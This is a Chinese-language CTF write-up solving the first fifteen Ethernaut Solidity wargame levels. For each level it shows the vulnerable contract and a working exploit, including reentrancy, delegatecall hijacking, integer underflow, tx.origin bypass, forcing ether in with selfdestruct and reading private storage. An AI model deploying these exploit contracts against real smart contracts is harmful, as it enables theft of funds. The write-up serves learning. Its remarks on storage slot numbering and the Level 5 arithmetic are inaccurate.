Ethernaut 闖關記(前半)

Before all

Hitcon 後一直說要學 web3,然後之後都在忙備審/校內/大學課程,導致一直沒機會。
最近稍微閒下來開始透過 Ethernaut(link) 學 web3 和 solidity 基礎,發現打智能合約其實蠻好玩的XD
身為web狗也該來打web3了吧👊
即時更新的 Write Up:https://hackmd.io/@Whale120/etherwhale

Level 1 Fallback

Victim’s Address: 0x640ba57ADbCEbaD2E472c56E190EF120C4087589
第一次操作Remix IDE,胡亂胡亂終於搞懂了……
Remix IDE 教學:https://decert.me/tutorial/solidity/tools/remix

Step 0. Start Instance
滑到底部,開啟,交易後按下 F12 就會看到當前協議的地址
image

Step 1. Deploy
把題目提供的solidity腳本貼到Remix IDE創建的新文件上面:
image

接著compile協議,然後去 deploy & run 選擇Injected錢包、Gas Limit調一下(不然很燒燃料費,本次使用50000),最後在 At Address調整一下地址成剛剛的協議地址
image

點開底部的Contracts,原則上應該在剛剛的地址建立協議了:

image

一排按鈕就是協議裡面public可檢視的內容,可以看到一開始owner不是自己~
image

Step 2. Exploit
任務:

  1. 變成owner
  2. 把錢提走

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

觀察contribute,在contribution大小超過原本的owner時就可以成為新的owner,而withdraw方法做的事情就是透過onlyOnwer確認你是owner後就把錢都往你地址轉,就完成這題了!

Exploit: contribute -> owner(確認自己是owner) -> withdraw
P.S. contribute 1 wei的方法
image

Level 2 Fallout

任務:

  1. 變成owner

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

發現constructor函數外露,直接去請求Fal1out就變成owner了

Level 3 Coin Flip

Victim’s Address: 0xBC01FBc340C413293489418b0A0c9A0C54336Ab9
題目要求:

  1. 連續預測正確十次

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

首先觀察,發現每次隨機是由區塊上的狀態取hash,所以只需要部署一個服務在相同的鏈上就可以取得相同的狀態,進而獲得當次的硬幣區塊。

Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Coinflip {
function flip(bool _guess) external returns (bool);
}

contract FAKE_CoinFlip {
Coinflip public target = Coinflip(0xBC01FBc340C413293489418b0A0c9A0C54336Ab9);
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

function FAKE_flip() public{
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}

利用建立interface的方法把預測結果送到Victim’s Contract, 呼叫十次Fake_flip就結束這回合ㄌ

P.S.可以自己把GAS Limit調小,打起來不會太貴
image

Level 4 Telephone

Victim’s Address: 0xe905433025193D3CBF904601Aab36E6a82d6C591
任務:

  1. 變成owner

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

在solidity裡面,tx.origin是發起交易時會記錄在stack上面的起始位置,而msg.sender則單純看信息來源是誰,意味著使用tx.origin判斷使用者是誰是不安全的。
發起中間人攻擊
Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
function changeOwner(address _owner) external;
}

contract MitM {
Telephone public target = Telephone(0xe905433025193D3CBF904601Aab36E6a82d6C591);
function attack(address _owner) public{
target.changeOwner(_owner);
}
}

最後Deploy出去,再attack(自己的地址)即可。

Level 5 Token

一個基本的Token系統,初始進入時會給你20個token
任務:

  1. 讓自己的balance>20

Source code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

觀察到它使用了uint256進行資料儲存,所以儘管會檢查餘額,只要輸入像是 $2^{256} - 1$ 之類的數字就可以完成Interger Overflow的攻擊,讓餘額變成 $20+(2^{256} - 1)=21(mod 2^{256})$
image

Level 6 Delegation

任務:

  1. 變成owner

所謂的delegation,以這題而言就是可以在Delegation的合約裡調用Delegate的函數(不包含環境),而fallback函數則是被傳入空值時會調用到的函數,所以以這題而言發個空的pwn()過去Delegation合約即可。
不過這題如果想過呼叫一下Delegate合約的pwn()就好(X)

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

具體利用方法為取得pwn()的Keccack-256 hash前4 bytes往Delegation送就好。
Online Keccack-256(link)
image

image

PWNED!!

Level 7 Force

Victim’s address: 0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129

一個空的合約
任務:

  1. 讓他的balance>0 ?!

啥玩意
Source Code:

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

在solidity裡面,如果在同一個net內,可以利用selfdestruct(addr)的方法將錢強制轉到地址addr,所以有了以下攻擊服務:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleWallet {
event Deposit(address indexed sender, uint amount);

constructor() {

}

function deposit() public payable {
require(msg.value > 0, "Must send some ether");
emit Deposit(msg.sender, msg.value);
}

function attack() public payable {
address payable addr = payable(address(0x52C5746DA9D2Ebd076e06A3F99D3415132AA4129));
selfdestruct(addr);
}
}

先透過deposit轉入 1 wei 的錢,再利用attack函數觸發selfdestruct即可。

image

Level 8 Vault

任務:

  1. 送出正確的密碼

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
bool public locked;
bytes32 private password;

constructor(bytes32 _password) {
locked = true;
password = _password;
}

function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}

在solidity中,把一個變數設為private僅代表它不會被其他合約調用,不等於查不到。
尋找方法(Remix IDE console):

1
web3.eth.getStorageAt(contract.address, 1)

image

拿到ㄌXD,透過unlock函數送回去即可。

Level 9 King

Victim’s address: 0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729
任務:

  1. 讓別人無法再轉帳進來

這個合約會訂定一個prize的值,如果你想成為King,你需要轉入大於prize的一筆錢,而你可以獲取以前的prize金額(龐氏騙局來著

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract King {
address king;
uint256 public prize;
address public owner;

constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}

receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}

function _king() public view returns (address) {
return king;
}
}

solidity裡面的transfer中,如果調用對象的地址是一個合約,那它會依序去觸發receive -> fallback

然而,今天如果攻擊者合約的fallback函數是壞掉的,並在一開始去轉帳佔領了目前King的身分,將會導致其他用戶無法轉帳成功並成為新的King。

Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleWallet {
event Deposit(address indexed sender, uint amount);

function deposit() public payable {
require(msg.value > 0, "Must send some ether");
emit Deposit(msg.sender, msg.value);
}

function attack() public payable {
address payable addr = payable(address(0xa0E4564E6bb136c3563af930Fcd6f6ebBf8a6729));
(bool success, ) = addr.call{value: 1000000000000001}("");
require(success, "Transfer failed");
}

fallback() external payable{
require(false);
}

}

一樣部署在Remix IDE,先用deposit函數幫它充值一下再透過attack轉帳到Victim那

Level 10 Re-entrancy

Victim’s address: 0x1A1D0331408f581F2566B57a2456286171d7F0a1
任務:

  1. 把所有錢領走

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
using SafeMath for uint256;

mapping(address => uint256) public balances;

function donate(address _to) public payable {
balances[_to] = balances[_to].add(msg.value);
}

function balanceOf(address _who) public view returns (uint256 balance) {
return balances[_who];
}

function withdraw(uint256 _amount) public {
if (balances[msg.sender] >= _amount) {
(bool result,) = msg.sender.call{value: _amount}("");
if (result) {
_amount;
}
balances[msg.sender] -= _amount;
}
}

receive() external payable {}
}

重入攻擊
(Re-entrancy Attack),如上面的程式所示,withdraw函數是先用call把錢轉入對方帳戶再確認ammount,聽起來很正常…
但今天如果轉入的帳戶地址是一個合約,並且fallback函數(承上題知識點:call進來的時候就會觸發fallback)會再次去請求Victim的withdraw?!

瞬間變成不斷卡在提款階段,導致根本沒辦法進行到amount的檢查

Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Reentrance{
function donate(address _to) external payable;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}

contract WhaleWallet {
Reentrance public victim = Reentrance(0x1A1D0331408f581F2566B57a2456286171d7F0a1);

address payable public target = payable(address(0x1A1D0331408f581F2566B57a2456286171d7F0a1));

event Deposit(address indexed sender, uint amount);

function deposit() public payable {
require(msg.value > 0, "Must send some ether");
emit Deposit(msg.sender, msg.value);
}

function attack() public payable {
victim.donate{value: 0.0001 ether}(address(this));
victim.withdraw(0.0001 ether);
}

fallback() external payable{
victim.withdraw(0.0001 ether);
}

}

Level 11 Elevator

Victim’s address: 0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a
目標:

  1. 改變 floor 的值
  2. top 是 true

Source Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Building {
function isLastFloor(uint256) external returns (bool);
}

contract Elevator {
bool public top;
uint256 public floor;

function goTo(uint256 _floor) public {
Building building = Building(msg.sender);

if (!building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}

它會去調用發送地址的isLastFloor函數,如果請求結果第一次是false,floor就會被更新,然後top會變成再次請求isLastFloot的結果。

想達成任務,只需要寫一個第一次會回傳false,第二次會回傳true的函數即可~

Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Elevator {
function goTo(uint256 _floor) external;
}

contract WhaleHouse{
uint256 public meow=0;
Elevator public target = Elevator(0xcFb281781d8f9a09EE3Ba9C400bCDBF6b284f06a);
function isLastFloor(uint256 floor) payable public returns(bool){
if(meow==0){
meow=1;
return false;
}
else{
return true;
}
}
function attack() public payable{
target.goTo(1);
}
}

deploy好按下attack,最後檢查meow是不是變成1就知道是否通關了!

Level 12 Privacy

Victim’s address: 0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367
任務:

  1. 拿到密碼通關

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Privacy {
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(block.timestamp);
bytes32[3] private data;

constructor(bytes32[3] memory _data) {
data = _data;
}

function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}

/*
A bunch of super advanced solidity algorithms...

,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}

solidity儲存一格資料(slot)是256bits,編號從1開始。
所以一開始的bool locked因為後面接的是uint256的資料ID,會獨自占用一個slot,同理對於ID
接著後面三個資料flattening, denomination, awkwardness一起占用一個slot,最後就是data每項自己占用一格。

slot table:

index contents
1 locked(1 bit)
2 ID(256 bits)
3 flattening+denomination+awkwardness*(32 bits)
4 data[0](256 bits/32 bytes)
5 data[1](256 bits/32 bytes)
6 data[2](256 bits/32 bytes)

接下來就跟Level 8的Vault一樣了,取前16bytes資料送出,結案XD

web3.eth.getStorageAt('0x2b7c7D52206360eD5797bB108cD4Ee24e2Daf367', 5)

image

Level 13 Gatekeeper One

Victim’s address: 0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c
My wallet address: 0x4a63cD2DD88C72Bb47Fa8158c9b2be5294D5f05C
任務:

  1. 通過所有gate

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperOne {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % 8191 == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three");
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

第一個gate就是過去tx.origin的繞過,建立一個attack service再由我們錢包發起,EZ
第二個gate就是進行爆破,讓gasfee最後可以通過即可。
第三個則是要構造通過gate three函數的payload,基本上動腦想想就好ㄌ
我是構造0xfaceb00c0000f05Cfaceb00c任意換成非零的東西都可以。

Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
13
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit {
function attack_(bytes8 _gateKey) public {
for (uint256 i = 0; i < 1000; i++) {
(bool result,) = address(0x7b23B267AC4CC8314a961F5575Ed8a4116cA8d5c).call{gas:i + 8191 * 4}(abi.encodeWithSignature("enter(bytes8)",_gateKey));
if (result) {
break;
}
}
}
}

Level 14 Gatekeeper Two

任務:

  1. 通過三個gate

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == type(uint64).max);
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

第一個gate老招數,中間人
第二個gate則是solidity的特性,他會計算地址的程式大小,但solidity不會把coonstructor算入程式大小
第三個gate就是簡單拿合約取hash xor即可

Exploit.sol

1
2
3
4
5
6
7
8
9
10
11
12
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface GatekeeperTwo{
function enter(bytes8 _gateKey) external returns (bool);
}

contract Exploit{
constructor(address target) {
bytes8 payload = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ type(uint64).max);
GatekeeperTwo(target).enter(payload);
}
}

Level 15 Naught Coin

任務:

  1. 把所有自己的Naught Coin Token轉走

一個繼承ERC 20的Token合約,可以參考這篇會比較清楚:https://news.cnyes.com/news/id/4981550

transfer protocol被鎖了,要等十年

Source Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

contract NaughtCoin is ERC20 {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint256 public timeLock = block.timestamp + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;

constructor(address _player) ERC20("NaughtCoin", "0x0") {
player = _player;
INITIAL_SUPPLY = 1000000 * (10 ** uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}

function transfer(address _to, uint256 _value) public override lockTokens returns (bool) {
super.transfer(_to, _value);
}

// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(block.timestamp > timeLock);
_;
} else {
_;
}
}
}

因為他沒有幫transferFrom上鎖,但這在ERC20裡面依然可以轉帳
所以使用approve把自己的token領出來->transferFrom轉到instance帳號即可
P.S.記得把自己錢用balenceOf領乾淨w

1
2
3
balance = await contract.balanceOf(player).then(v => v.toString())
contract.approve(player, balance)
contract.transferFrom(player, instance, balance)